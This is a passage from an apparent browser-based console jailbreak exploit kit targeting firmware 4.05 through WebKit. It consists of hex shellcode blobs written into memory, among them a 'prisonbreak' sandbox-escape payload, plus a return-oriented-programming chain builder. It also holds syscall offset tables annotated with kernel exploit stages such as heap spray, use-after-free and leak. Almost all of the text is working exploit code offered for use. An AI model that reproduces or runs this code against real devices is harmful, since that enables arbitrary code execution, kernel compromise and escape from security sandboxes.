24 | 	p.write4(addr.add32(0x00000058), 0xc58941e6);
25 | 	p.write4(addr.add32(0x0000005c), 0x92e8c789);
26 | 	p.write4(addr.add32(0x00000060), 0xbe000000);
27 | 	p.write4(addr.add32(0x00000064), 0x0000000a);
28 | 	p.write4(addr.add32(0x00000068), 0xe8ef8944);
29 | 	p.write4(addr.add32(0x0000006c), 0x00000092);
30 | 	p.write4(addr.add32(0x00000070), 0xf631d231);
31 | 	p.write4(addr.add32(0x00000074), 0xe8ef8944);
32 | 	p.write4(addr.add32(0x00000078), 0x0000005f);
33 | 	p.write4(addr.add32(0x0000007c), 0x8d48c589);
34 | 	p.write4(addr.add32(0x00000080), 0x0fff7b1d);
35 | 	p.write4(addr.add32(0x00000084), 0xc303c600);
36 | 	p.write4(addr.add32(0x00000088), 0x984805eb);
37 | 	p.write4(addr.add32(0x0000008c), 0xbac30148);
38 | 	p.write4(addr.add32(0x00000090), 0x00001000);
39 | 	p.write4(addr.add32(0x00000094), 0x89de8948);
40 | 	p.write4(addr.add32(0x00000098), 0x0023e8ef);
41 | 	p.write4(addr.add32(0x0000009c), 0xc0850000);
42 | 	p.write4(addr.add32(0x000000a0), 0x8944e87f);
43 | 	p.write4(addr.add32(0x000000a4), 0x0024e8ef);
44 | 	p.write4(addr.add32(0x000000a8), 0xef890000);
45 | 	p.write4(addr.add32(0x000000ac), 0x00001de8);
46 | 	p.write4(addr.add32(0x000000b0), 0xff4ae800);
47 | 	p.write4(addr.add32(0x000000b4), 0x8348000f);
48 | 	p.write4(addr.add32(0x000000b8), 0x5d5b18c4);
49 | 	p.write4(addr.add32(0x000000bc), 0x5d415c41);
50 | 	p.write4(addr.add32(0x000000c0), 0xc0c748c3);
51 | 	p.write4(addr.add32(0x000000c4), 0x00000003);
52 | 	p.write4(addr.add32(0x000000c8), 0x0fca8949);
53 | 	p.write4(addr.add32(0x000000cc), 0xc748c305);
54 | 	p.write4(addr.add32(0x000000d0), 0x000006c0);
55 | 	p.write4(addr.add32(0x000000d4), 0xca894900);
56 | 	p.write4(addr.add32(0x000000d8), 0x48c3050f);
57 | 	p.write4(addr.add32(0x000000dc), 0x001ec0c7);
58 | 	p.write4(addr.add32(0x000000e0), 0x89490000);
59 | 	p.write4(addr.add32(0x000000e4), 0xc3050fca);
60 | 	p.write4(addr.add32(0x000000e8), 0x61c0c748);
61 | 	p.write4(addr.add32(0x000000ec), 0x49000000);
62 | 	p.write4(addr.add32(0x000000f0), 0x050fca89);
63 | 	p.write4(addr.add32(0x000000f4), 0xc0c748c3);
64 | 	p.write4(addr.add32(0x000000f8), 0x00000068);
65 | 	p.write4(addr.add32(0x000000fc), 0x0fca8949);
66 | 	p.write4(addr.add32(0x00000100), 0xc748c305);
67 | 	p.write4(addr.add32(0x00000104), 0x00006ac0);
68 | 	p.write4(addr.add32(0x00000108), 0xca894900);
69 | 	p.write4(addr.add32(0x0000010c), 0x90c3050f);
70 | }
71 | 


--------------------------------------------------------------------------------
/prisonbreak.js:
--------------------------------------------------------------------------------
 1 | function writePrisonBreak(p, addr) {
 2 | 	p.write4(addr.add32(0x00000000), 0x193d8d48);
 3 | 	p.write4(addr.add32(0x00000004), 0x31000000);
 4 | 	p.write4(addr.add32(0x00000008), 0x0003e8f6);
 5 | 	p.write4(addr.add32(0x0000000c), 0xc0310000);
 6 | 	p.write4(addr.add32(0x00000010), 0xc0c748c3);
 7 | 	p.write4(addr.add32(0x00000014), 0x0000000b);
 8 | 	p.write4(addr.add32(0x00000018), 0x0fca8949);
 9 | 	p.write4(addr.add32(0x0000001c), 0x9090c305);
10 | 	p.write4(addr.add32(0x00000020), 0x08478b48);
11 | 	p.write4(addr.add32(0x00000024), 0x000082b9);
12 | 	p.write4(addr.add32(0x00000028), 0x788b48c0);
13 | 	p.write4(addr.add32(0x0000002c), 0x708b4848);
14 | 	p.write4(addr.add32(0x00000030), 0x48320f40);
15 | 	p.write4(addr.add32(0x00000034), 0xc720e2c1);
16 | 	p.write4(addr.add32(0x00000038), 0x00000446);
17 | 	p.write4(addr.add32(0x0000003c), 0x89480000);
18 | 	p.write4(addr.add32(0x00000040), 0x968b48d1);
19 | 	p.write4(addr.add32(0x00000044), 0x00000118);
20 | 	p.write4(addr.add32(0x00000048), 0xc7c10948);
21 | 	p.write4(addr.add32(0x0000004c), 0x00000846);
22 | 	p.write4(addr.add32(0x00000050), 0x46c70000);
23 | 	p.write4(addr.add32(0x00000054), 0x00000014);
24 | 	p.write4(addr.add32(0x00000058), 0x0002c700);
25 | 	p.write4(addr.add32(0x0000005c), 0x48000000);
26 | 	p.write4(addr.add32(0x00000060), 0x74e0918b);
27 | 	p.write4(addr.add32(0x00000064), 0x894800c1);
28 | 	p.write4(addr.add32(0x00000068), 0x8b483056);
29 | 	p.write4(addr.add32(0x0000006c), 0xd5e72081);
30 | 	p.write4(addr.add32(0x00000070), 0x47894801);
31 | 	p.write4(addr.add32(0x00000074), 0x47894820);
32 | 	p.write4(addr.add32(0x00000078), 0xc3c03118);
33 | 	p.write4(addr.add32(0x0000007c), 0x90909090);
34 | }
35 | 


--------------------------------------------------------------------------------
/rop.js:
--------------------------------------------------------------------------------
  1 | /* Leave these values untouched, they will be set properly post-exploitation */
  2 | var moduleBaseAddresses =
  3 | {
  4 |   'libkernel': 0,
  5 |   'libSceWebKit2': 0,
  6 |   'libSceLibcInternal': 0
  7 | };
  8 | 
  9 | /* Simply adds given offset to given module's base address */
 10 | function getGadget(moduleName, offset)
 11 | {
 12 |   return moduleBaseAddresses[moduleName].add32(offset);
 13 | }
 14 | 
 15 | var memory = function(p, address)
 16 | {
 17 |   this.basePtr = address
 18 |   this.dataPtr = 0;
 19 | 
 20 |   /* Return a pointer in mmap'd memory */
 21 |   this.allocate = function(size)
 22 |   {
 23 |     /* Prevent buffer overflow / pagefault */
 24 |     if(this.dataPtr > 0x10000 || this.dataPtr + size > 0x10000)
 25 |     {
 26 |       return -1;
 27 |     }
 28 | 
 29 |     var memAddr = this.basePtr.add32(this.dataPtr);
 30 | 
 31 |     this.dataPtr += size;
 32 | 
 33 |     return memAddr;
 34 |   };
 35 | 
 36 |   /* Clears all data by zeroing out this.data and resetting count */
 37 |   this.clear = function()
 38 |   {
 39 |     for(var i = 0; i < 0x10000; i += 8)
 40 |     {
 41 |       p.write8(this.basePtr.add32(i), 0);
 42 |     }
 43 |   };
 44 | 
 45 |   /* Zero out our data buffer before returning a storage object */
 46 |   this.clear();
 47 | 
 48 |   return this;
 49 | };
 50 | 
 51 | /* Called to start a kernel ROP chain */
 52 | var krop = function(p, addr) {
 53 |   this.chainPtr = addr;
 54 |   this.count = 0;
 55 | 
 56 |   this.push = function(val)
 57 |   {
 58 |     p.write8(this.chainPtr.add32(this.count * 8), val);
 59 |     this.count++;
 60 |   };
 61 | 
 62 |   this.write64 = function (addr, val)
 63 |   {
 64 |     this.push(window.gadgets["pop rdi"]);
 65 |     this.push(addr);
 66 |     this.push(window.gadgets["pop rax"]);
 67 |     this.push(val);
 68 |     this.push(window.gadgets["mov qword ptr [rdi], rax"]);
 69 |   }
 70 | 
 71 |   return this;
 72 | };
 73 | 
 74 | /* Called to start a new ROP chain */
 75 | var saferop = function(p, addr) {
 76 |   this.ropChain = undefined;
 77 |   this.ropChainPtr = undefined;
 78 |   this.ropChainEndPtr = undefined;
 79 | 
 80 |   if(addr == undefined)
 81 |   {
 82 |     this.ropChain    = new Uint32Array(0x4000);
 83 |     this.ropChainPtr = p.read8(p.leakval(this.ropChain).add32(0x28));
 84 |     this.ropChainEndPtr = this.ropChainPtr.add32(0x4000*4);
 85 |   }
 86 |   else
 87 |   {
 88 |     this.ropChainPtr = addr;
 89 |     this.ropChainEndPtr = this.ropChainPtr.add32(0x4000*4);
 90 |   }
 91 | 
 92 |   this.count = 0;
 93 | 
 94 |   /* Clears the chain */
 95 |   this.clear = function()
 96 |   {
 97 |     this.count = 0;
 98 |     this.runtime = undefined;
 99 | 
100 |     for(var i = 0; i < 0x4000 - 0x8; i += 8)
101 |     {
102 |       p.write8(this.ropChainPtr.add32(i), 0);
103 |     }
104 |   };
105 | 
106 |   /* Gets the current chain index and increments it */
107 |   this.getChainIndex = function()
108 |   {
109 |     this.count++;
110 |     return this.count-1;
111 |   }
112 | 
113 |   /* Pushes a gadget or value on the stack */
114 |   this.push = function(val)
115 |   {
116 |     p.write8(this.ropChainPtr.add32(this.getChainIndex() * 8), val);
117 |   }
118 | 
119 |   /* Writes a 64-bit value to given location */
120 |   this.push64 = function(where, what)
121 |   {
122 |     this.push(window.gadgets["pop rdi"]);
123 |     this.push(where);
124 |     this.push(window.gadgets["pop rsi"]);
125 |     this.push(what);
126 |     this.push(window.gadgets["mov qword ptr [rdi], rsi"]);
127 |   }
128 | 
129 |   /* Sets up a function call into a module by address */
130 |   this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9)
131 |   {
132 |     if(rdi != undefined)
133 |     {
134 |       this.push(window.gadgets["pop rdi"]);
135 |       this.push(rdi);
136 |     }
137 | 
138 |     if(rsi != undefined)
139 |     {
140 |       this.push(window.gadgets["pop rsi"]);
141 |       this.push(rsi);
142 |     }
143 | 
144 |     if(rdx != undefined)
145 |     {
146 |       this.push(window.gadgets["pop rdx"]);
147 |       this.push(rdx);
148 |     }
149 | 
150 |     if(rcx != undefined)
151 |     {
152 |       this.push(window.gadgets["pop rcx"]);
153 |       this.push(rcx);
154 |     }
155 | 
156 |     if(r8 != undefined)
157 |     {
158 |       this.push(window.gadgets["pop r8"]);
159 |       this.push(r8);
160 |     }
161 | 
162 |     if(r9 != undefined)
163 |     {
164 |       this.push(window.gadgets["pop r9"]);
165 |       this.push(r9);
166 |     }
167 | 
168 |     this.push(rip);
169 |     return this;
170 |   }
171 | 
172 |   /* Sets up a return value location*/
173 |   this.saveReturnValue = function(where)
174 |   {
175 |     this.push(window.gadgets["pop rdi"]);
176 |     this.push(where);
177 |     this.push(window.gadgets["mov qword ptr [rdi], rax"]);
178 |   }
179 | 
180 |   /* Loads the ROP chain and initializes it */
181 |   this.run = function()
182 |   {
183 |     var retv = p.loadchain(this);
184 |     this.clear();
185 | 
186 |     return retv;
187 |   }
188 | 
189 |   return this;
190 | };
191 | 
192 | /* Called to start a new ROP chain */
193 | var rop = function(p, addr) {
194 |   this.ropChainSize = 0x4000;
195 |   this.ropChain = undefined;
196 |   this.ropChainBasePtr = undefined;
197 |   this.ropChainPtr = undefined;
198 |   this.ropChainEndPtr = undefined;
199 | 
200 |   if(addr == undefined)
201 |   {
202 |     this.ropChain        = new Uint32Array((this.ropChainSize/4)*2);
203 |     this.ropChainBasePtr = p.read8(p.leakval(this.ropChain).add32(0x28)).add32(this.ropChainSize);
204 |     this.ropChainPtr     = this.ropChainBasePtr.add32(8);
205 |     this.ropChainEndPtr  = this.ropChainBasePtr.add32(this.ropChainSize);
206 |   }
207 |   else
208 |   {
209 |     this.ropChainBasePtr = addr.add32(0);
210 |     this.ropChainPtr     = addr.add32(8);
211 |     this.ropChainEndPtr  = addr.add32(this.ropChainSize);
212 |   }
213 | 
214 |   this.count = 0;
215 | 
216 |   /* Clears the chain */
217 |   this.clear = function()
218 |   {
219 |     this.count = 0;
220 |     this.runtime = undefined;
221 | 
222 |     for(var i = 0; i < this.ropChainSize-8; i += 8)
223 |     {
224 |       p.write8(this.ropChainBasePtr.add32(i), 0);
225 |     }
226 |   };
227 | 
228 |   /* Gets the current chain index and increments it */
229 |   this.getChainIndex = function()
230 |   {
231 |     this.count++;
232 |     return this.count-1;
233 |   }
234 | 
235 |   /* Pushes a gadget or value on the stack */
236 |   this.push = function(val)
237 |   {
238 |     p.write8(this.ropChainPtr.add32(this.getChainIndex() * 8), val);
239 |   }
240 | 
241 |   /* Writes a 64-bit value to given location */
242 |   this.push64 = function(where, what)
243 |   {
244 |     this.push(window.gadgets["pop rdi"]);
245 |     this.push(where);
246 |     this.push(window.gadgets["pop rsi"]);
247 |     this.push(what);
248 |     this.push(window.gadgets["mov qword ptr [rdi], rsi"]);
249 |   }
250 | 
251 |   /* Sets up a function call into a module by address */
252 |   this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9)
253 |   {
254 |     if(rdi != undefined)
255 |     {
256 |       this.push(window.gadgets["pop rdi"]);
257 |       this.push(rdi);
258 |     }
259 | 
260 |     if(rsi != undefined)
261 |     {
262 |       this.push(window.gadgets["pop rsi"]);
263 |       this.push(rsi);
264 |     }
265 | 
266 |     if(rdx != undefined)
267 |     {
268 |       this.push(window.gadgets["pop rdx"]);
269 |       this.push(rdx);
270 |     }
271 | 
272 |     if(rcx != undefined)
273 |     {
274 |       this.push(window.gadgets["pop rcx"]);
275 |       this.push(rcx);
276 |     }
277 | 
278 |     if(r8 != undefined)
279 |     {
280 |       this.push(window.gadgets["pop r8"]);
281 |       this.push(r8);
282 |     }
283 | 
284 |     if(r9 != undefined)
285 |     {
286 |       this.push(window.gadgets["pop r9"]);
287 |       this.push(r9);
288 |     }
289 | 
290 |     this.push(rip);
291 |     return this;
292 |   }
293 | 
294 |   /* Sets up a return value location*/
295 |   this.saveReturnValue = function(where)
296 |   {
297 |     this.push(window.gadgets["pop rdi"]);
298 |     this.push(where);
299 |     this.push(window.gadgets["mov qword ptr [rdi], rax"]);
300 |   }
301 | 
302 |   /* Loads the ROP chain and initializes it */
303 |   this.run = function()
304 |   {
305 |     var retv = p.loadchain(this);
306 |     this.clear();
307 | 
308 |     return retv;
309 |   }
310 | 
311 |   return this;
312 | };
313 | 


--------------------------------------------------------------------------------
/syscalls.js:
--------------------------------------------------------------------------------
  1 | /* Holds system call wrapper offsets for user's specific firmware */
  2 | window.syscalls = [];
  3 | window.memcalls = [];
  4 | 
  5 | /* These are the offsets in libkernel for system call wrappers */
  6 | window.syscallMap =
  7 | {
  8 |   '4.05':
  9 |   {
 10 |     3: 0x25F0,
 11 |     4: 0x2730,
 12 |     5: 0x2570,
 13 |     6: 0x24D0,
 14 |     20: 0x06F0,
 15 |     23: 0x0710,
 16 |     24: 0x0730,
 17 |     54: 0x0970, // Heap spray via sys_ioctl
 18 |     97: 0x0B70,
 19 |     98: 0x24F0,
 20 |     203: 0x1030, // Prefaulting
 21 |     477: 0x27B0, // sys_mmap
 22 |     557: 0x1AF0, // Kernel Exploit Free P1 "sys_namedobj_create"
 23 |     558: 0x1B10, // Kernel Exploit Free P3 "sys_namedobj_delete"
 24 |     601: 0x1E70, // Kernel Exploit Free P2 "sys_mdbg_service",
 25 |     632: 0x21D0, // Kernel Exploit Leak P1 "sys_thr_suspend_ucontext"
 26 |     633: 0x21F0, // Kernel Exploit Leak P3 "sys_thr_resume_ucontext"
 27 |     634: 0x2210, // Kernel Exploit Leak P2 "sys_thr_get_ucontext"
 28 |   }
 29 | }
 30 | 
 31 | /* A long ass map of system call names -> number, you shouldn't need to touch this */
 32 | window.syscallnames =
 33 | {
 34 | 	"sys_exit": 1,
 35 | 	"sys_fork": 2,
 36 | 	"sys_read": 3,
 37 | 	"sys_write": 4,
 38 | 	"sys_open": 5,
 39 | 	"sys_close": 6,
 40 | 	"sys_wait4": 7,
 41 | 	"sys_unlink": 10,
 42 | 	"sys_chdir": 12,
 43 | 	"sys_chmod": 15,
 44 | 	"sys_getpid": 20,
 45 | 	"sys_setuid": 23,
 46 | 	"sys_getuid": 24,
 47 | 	"sys_geteuid": 25,
 48 | 	"sys_recvmsg": 27,
 49 | 	"sys_sendmsg": 28,
 50 | 	"sys_recvfrom": 29,
 51 | 	"sys_accept": 30,
 52 | 	"sys_getpeername": 31,
 53 | 	"sys_getsockname": 32,
 54 | 	"sys_access": 33,
 55 | 	"sys_chflags": 34,
 56 | 	"sys_fchflags": 35,
 57 | 	"sys_sync": 36,
 58 | 	"sys_kill": 37,
 59 | 	"sys_stat": 38,
 60 | 	"sys_getppid": 39,
 61 | 	"sys_dup": 41,
 62 | 	"sys_pipe": 42,
 63 | 	"sys_getegid": 43,
 64 | 	"sys_profil": 44,
 65 | 	"sys_getgid": 47,
 66 | 	"sys_getlogin": 49,
 67 | 	"sys_setlogin": 50,
 68 | 	"sys_sigaltstack": 53,
 69 | 	"sys_ioctl": 54,
 70 | 	"sys_reboot": 55,
 71 | 	"sys_revoke": 56,
 72 | 	"sys_execve": 59,
 73 | 	"sys_execve": 59,
 74 | 	"sys_msync": 65,
 75 | 	"sys_munmap": 73,
 76 | 	"sys_mprotect": 74,
 77 | 	"sys_madvise": 75,
 78 | 	"sys_mincore": 78,
 79 | 	"sys_getgroups": 79,
 80 | 	"sys_setgroups": 80,
 81 | 	"sys_setitimer": 83,
 82 | 	"sys_getitimer": 86,
 83 | 	"sys_getdtablesize": 89,
 84 | 	"sys_dup2": 90,
 85 | 	"sys_fcntl": 92,
 86 | 	"sys_select": 93,
 87 | 	"sys_fsync": 95,
 88 | 	"sys_setpriority": 96,
 89 | 	"sys_socket": 97,
 90 | 	"sys_connect": 98,
 91 | 	"sys_getpriority": 100,
 92 | 	"sys_send": 101,
 93 | 	"sys_recv": 102,
 94 | 	"sys_bind": 104,
 95 | 	"sys_setsockopt": 105,
 96 | 	"sys_listen": 106,
 97 | 	"sys_recvmsg": 113,
 98 | 	"sys_sendmsg": 114,
 99 | 	"sys_gettimeofday": 116,
100 | 	"sys_getrusage": 117,
101 | 	"sys_getsockopt": 118,
102 | 	"sys_readv": 120,
103 | 	"sys_writev": 121,
104 | 	"sys_settimeofday": 122,
105 | 	"sys_fchmod": 124,
106 | 	"sys_recvfrom": 125,
107 | 	"sys_setreuid": 126,
108 | 	"sys_setregid": 127,
109 | 	"sys_rename": 128,
110 | 	"sys_flock": 131,
111 | 	"sys_sendto": 133,
112 | 	"sys_shutdown": 134,
113 | 	"sys_socketpair": 135,
114 | 	"sys_mkdir": 136,
115 | 	"sys_rmdir": 137,
116 | 	"sys_utimes": 138,
117 | 	"sys_adjtime": 140,
118 | 	"sys_getpeername": 141,
119 | 	"sys_setsid": 147,
120 | 	"sys_sysarch": 165,
121 | 	"sys_setegid": 182,
122 | 	"sys_seteuid": 183,
123 | 	"sys_fstat": 189,
124 | 	"sys_lstat": 190,
125 | 	"sys_pathconf": 191,
126 | 	"sys_fpathconf": 192,
127 | 	"sys_getrlimit": 194,
128 | 	"sys_setrlimit": 195,
129 | 	"sys_getdirentries": 196,
130 | 	"sys___sysctl": 202,
131 | 	"sys_mlock": 203,
132 | 	"sys_munlock": 204,
133 | 	"sys_futimes": 206,
134 | 	"sys_poll": 209,
135 | 	"sys_clock_gettime": 232,
136 | 	"sys_clock_settime": 233,
137 | 	"sys_clock_getres": 234,
138 | 	"sys_ktimer_create": 235,
139 | 	"sys_ktimer_delete": 236,
140 | 	"sys_ktimer_settime": 237,
141 | 	"sys_ktimer_gettime": 238,
142 | 	"sys_ktimer_getoverrun": 239,
143 | 	"sys_nanosleep": 240,
144 | 	"sys_rfork": 251,
145 | 	"sys_issetugid": 253,
146 | 	"sys_getdents": 272,
147 | 	"sys_preadv": 289,
148 | 	"sys_pwritev": 290,
149 | 	"sys_getsid": 310,
150 | 	"sys_aio_suspend": 315,
151 | 	"sys_mlockall": 324,
152 | 	"sys_munlockall": 325,
153 | 	"sys_sched_setparam": 327,
154 | 	"sys_sched_getparam": 328,
155 | 	"sys_sched_setscheduler": 329,
156 | 	"sys_sched_getscheduler": 330,
157 | 	"sys_sched_yield": 331,
158 | 	"sys_sched_get_priority_max": 332,
159 | 	"sys_sched_get_priority_min": 333,
160 | 	"sys_sched_rr_get_interval": 334,
161 | 	"sys_utrace": 335,
162 | 	"sys_sigprocmask": 340,
163 | 	"sys_sigprocmask": 340,
164 | 	"sys_sigsuspend": 341,
165 | 	"sys_sigpending": 343,
166 | 	"sys_sigtimedwait": 345,
167 | 	"sys_sigwaitinfo": 346,
168 | 	"sys_kqueue": 362,
169 | 	"sys_kevent": 363,
170 | 	"sys_uuidgen": 392,
171 | 	"sys_sendfile": 393,
172 | 	"sys_fstatfs": 397,
173 | 	"sys_ksem_close": 400,
174 | 	"sys_ksem_post": 401,
175 | 	"sys_ksem_wait": 402,
176 | 	"sys_ksem_trywait": 403,
177 | 	"sys_ksem_init": 404,
178 | 	"sys_ksem_open": 405,
179 | 	"sys_ksem_unlink": 406,
180 | 	"sys_ksem_getvalue": 407,
181 | 	"sys_ksem_destroy": 408,
182 | 	"sys_sigaction": 416,
183 | 	"sys_sigreturn": 417,
184 | 	"sys_getcontext": 421,
185 | 	"sys_setcontext": 422,
186 | 	"sys_swapcontext": 423,
187 | 	"sys_sigwait": 429,
188 | 	"sys_thr_create": 430,
189 | 	"sys_thr_exit": 431,
190 | 	"sys_thr_self": 432,
191 | 	"sys_thr_kill": 433,
192 | 	"sys_ksem_timedwait": 441,
193 | 	"sys_thr_suspend": 442,
194 | 	"sys_thr_wake": 443,
195 | 	"sys_kldunloadf": 444,
196 | 	"sys__umtx_op": 454,
197 | 	"sys__umtx_op": 454,
198 | 	"sys_thr_new": 455,
199 | 	"sys_sigqueue": 456,
200 | 	"sys_thr_set_name": 464,
201 | 	"sys_rtprio_thread": 466,
202 | 	"sys_pread": 475,
203 | 	"sys_pwrite": 476,
204 | 	"sys_mmap": 477,
205 | 	"sys_lseek": 478,
206 | 	"sys_truncate": 479,
207 | 	"sys_ftruncate": 480,
208 | 	"sys_thr_kill2": 481,
209 | 	"sys_shm_open": 482,
210 | 	"sys_shm_unlink": 483,
211 | 	"sys_cpuset_getid": 486,
212 | 	"sys_cpuset_getaffinity": 487,
213 | 	"sys_cpuset_setaffinity": 488,
214 | 	"sys_openat": 499,
215 | 	"sys_pselect": 522,
216 | 
217 | 	"sys_regmgr_call": 532,
218 | 	"sys_jitshm_create": 533,
219 | 	"sys_jitshm_alias": 534,
220 | 	"sys_dl_get_list": 535,
221 | 	"sys_dl_get_info": 536,
222 | 	"sys_dl_notify_event": 537,
223 | 	"sys_evf_create": 538,
224 | 	"sys_evf_delete": 539,
225 | 	"sys_evf_open": 540,
226 | 	"sys_evf_close": 541,
227 | 	"sys_evf_wait": 542,
228 | 	"sys_evf_trywait": 543,
229 | 	"sys_evf_set": 544,
230 | 	"sys_evf_clear": 545,
231 | 	"sys_evf_cancel": 546,
232 | 	"sys_query_memory_protection": 47,
233 | 	"sys_batch_map": 548,
234 | 	"sys_osem_create": 549,
235 | 	"sys_osem_delete": 550,
236 | 	"sys_osem_open": 551,
237 | 	"sys_osem_close": 552,
238 | 	"sys_osem_wait": 553,
239 | 	"sys_osem_trywait": 554,
240 | 	"sys_osem_post": 555,
241 | 	"sys_osem_cancel": 556,
242 | 	"sys_namedobj_create": 557,
243 | 	"sys_namedobj_delete": 558,
244 | 	"sys_set_vm_container": 559,
245 | 	"sys_debug_init": 560,
246 | 	"sys_suspend_process": 561,
247 | 	"sys_resume_process": 562,
248 | 	"sys_opmc_enable": 563,
249 | 	"sys_opmc_disable": 564,
250 | 	"sys_opmc_set_ctl": 565,
251 | 	"sys_opmc_set_ctr": 566,
252 | 	"sys_opmc_get_ctr": 567,
253 | 	"sys_budget_create": 568,
254 | 	"sys_budget_delete": 569,
255 | 	"sys_budget_get": 570,
256 | 	"sys_budget_set": 571,
257 | 	"sys_virtual_query": 572,
258 | 	"sys_mdbg_call": 573,
259 | 	"sys_sblock_create": 574,
260 | 	"sys_sblock_delete": 575,
261 | 	"sys_sblock_enter": 576,
262 | 	"sys_sblock_exit": 577,
263 | 	"sys_sblock_xenter": 578,
264 | 	"sys_sblock_xexit": 579,
265 | 	"sys_eport_create": 580,
266 | 	"sys_eport_delete": 581,
267 | 	"sys_eport_trigger": 582,
268 | 	"sys_eport_open": 583,
269 | 	"sys_eport_close": 584,
270 | 	"sys_is_in_sandbox": 585,
271 | 	"sys_dmem_container": 586,
272 | 	"sys_get_authinfo": 587,
273 | 	"sys_mname": 588,
274 | 	"sys_dynlib_dlopen": 589,
275 | 	"sys_dynlib_dlclose": 590,
276 | 	"sys_dynlib_dlsym": 591,
277 | 	"sys_dynlib_get_list": 592,
278 | 	"sys_dynlib_get_info": 593,
279 | 	"sys_dynlib_load_prx": 594,
280 | 	"sys_dynlib_unload_prx": 595,
281 | 	"sys_dynlib_do_copy_relocations": 596,
282 | 	"sys_dynlib_prepare_dlclose": 597,
283 | 	"sys_dynlib_get_proc_param": 598,
284 | 	"sys_dynlib_process_needed_and_relocate": 599,
285 | 	"sys_sandbox_path": 600,
286 | 	"sys_mdbg_service": 601,
287 | 	"sys_randomized_path": 602,
288 | 	"sys_rdup": 603,
289 | 	"sys_dl_get_metadata": 604,
290 | 	"sys_workaround8849": 605,
291 | 	"sys_is_development_mode": 606,
292 | 	"sys_get_self_auth_info": 607,
293 | 	"sys_dynlib_get_info_ex": 608,
294 | 	"sys_budget_get_ptype": 610,
295 | 	"sys_budget_getid": 609,
296 | 	"sys_get_paging_stats_of_all_threads": 611,
297 | 	"sys_get_proc_type_info": 612,
298 | 	"sys_get_resident_count": 613,
299 | 	"sys_prepare_to_suspend_process": 614,
300 | 	"sys_get_resident_fmem_count": 615,
301 | 	"sys_thr_get_name": 616,
302 | 	"sys_set_gpo": 617,
303 | 	"sys_thr_suspend_ucontext": 632,
304 | 	"sys_thr_resume_ucontext": 633,
305 | 	"sys_thr_get_ucontext": 634
306 | }
307 | 


--------------------------------------------------------------------------------